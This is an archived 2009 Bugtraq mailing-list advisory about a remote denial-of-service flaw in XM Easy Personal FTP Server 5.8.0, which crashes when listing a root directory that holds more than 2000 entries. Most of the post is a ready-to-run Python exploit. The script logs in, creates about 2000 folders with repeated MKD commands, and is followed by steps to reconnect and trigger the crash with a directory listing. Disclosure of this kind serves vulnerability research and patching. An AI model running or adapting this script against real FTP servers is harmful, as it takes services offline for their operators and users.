bugtraq - XM Easy Personal FTP Server Remote DoS Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Date: 24 Nov 2009 02:47:05 -0000
From: leinakesi@...il.com
To: bugtraq@...urityfocus.com
Subject: XM Easy Personal FTP Server Remote DoS Vulnerability

Date of Discovery: 24-Nov-2009

Credits:leinakesi[at]gmail.com

Vendor: Dxmsoft
*******************************************************************************
Affected:

	XM Easy Personal FTP Server 5.8.0
	Earlier versions may also be affected
*******************************************************************************
Overview:

	XM Easy Personal FTP Server failed to handle more than 2000 files or folders in 

the root directory.
*******************************************************************************
Details:

	if you could log on the server, take the following steps and the server will 

crash which lead to DoS.
	
	1.upload 2000 files or folders.
	2.close the current connection.
	3.use a ftp client to reconnect the server.
		user ...
		pass ...
		port ...
		list ...
		crash!!!!!!
*******************************************************************************
Exploit example:

1.upload 2000 folders.
#!/usr/bin/python
import socket
import sys

def Usage():
    print ("Usage:  ./expl.py <serv_ip>      <Username> <password>\n")
    print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")
if len(sys.argv) <> 4:
        Usage()
        sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    test_string='a'
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 21))
    except:
        print ("Connection error!")
        sys.exit(1)
    r=sock.recv(1024)
    sock.send("user %s\r\n" %username)
    r=sock.recv(1024)
    sock.send("pass %s\r\n" %passwd)

    for i in range(1,200):
         sock.send("mkd " + "a" * i +"\r\n")
         print "[-] " + ("mkd " + "a" * i +"\r\n")
         r=sock.recv(1024)
         print "[+] " + r + "\r\n"
    for i in range(1,200):
         sock.send("mkd " + "b" * i +"\r\n")
         print "[-] " + ("mkd " + "b" * i +"\r\n")
         r=sock.recv(1024)
         print "[+] " + r + "\r\n"
    for i in range(1,200):
         sock.send("mkd " + "c" * i +"\r\n")
         print "[-] " + ("mkd " + "c" * i +"\r\n")
         r=sock.recv(1024)
         print "[+] " + r + "\r\n"
    for i in range(1,200):
         sock.send("mkd " + "d" * i +"\r\n")
         print "[-] " + ("mkd " + "d" * i +"\r\n")
         r=sock.recv(1024)
         print "[+] " + r + "\r\n"
    for i in range(1,200):
         sock.send("mkd " + "e" * i +"\r\n")
         print "[-] " + ("mkd " + "e" * i +"\r\n")
         r=sock.recv(1024)
         print "[+] " + r + "\r\n"
    for i in range(1,200):
         sock.send("mkd " + "f" * i +"\r\n")
         print "[-] " + ("mkd " + "f" * i +"\r\n")
         r=sock.recv(1024)
         print "[+] " + r + "\r\n"
    for i in range(1,200):
         sock.send("mkd " + "g" * i +"\r\n")
         print "[-] " + ("mkd " + "g" * i +"\r\n")
         r=sock.recv(1024)
         print "[+] " + r + "\r\n"
    for i in range(1,200):
         sock.send("mkd " + "h" * i +"\r\n")
         print "[-] " + ("mkd " + "h" * i +"\r\n")
         r=sock.recv(1024)
         print "[+] " + r + "\r\n"
    for i in range(1,200):
         sock.send("mkd " + "i" * i +"\r\n")
         print "[-] " + ("mkd " + "i" * i +"\r\n")
         r=sock.recv(1024)
         print "[+] " + r + "\r\n"
    for i in range(1,200):
         sock.send("mkd " + "j" * i +"\r\n")
         print "[-] " + ("mkd " + "j" * i +"\r\n")
         r=sock.recv(1024)
         print "[+] " + r + "\r\n"

    sock.close()
    sys.exit(0);

2.use a ftp client to reconnect the server
for example:
start->run->cmd->ftp 127.0.0.1->*****->*****->dir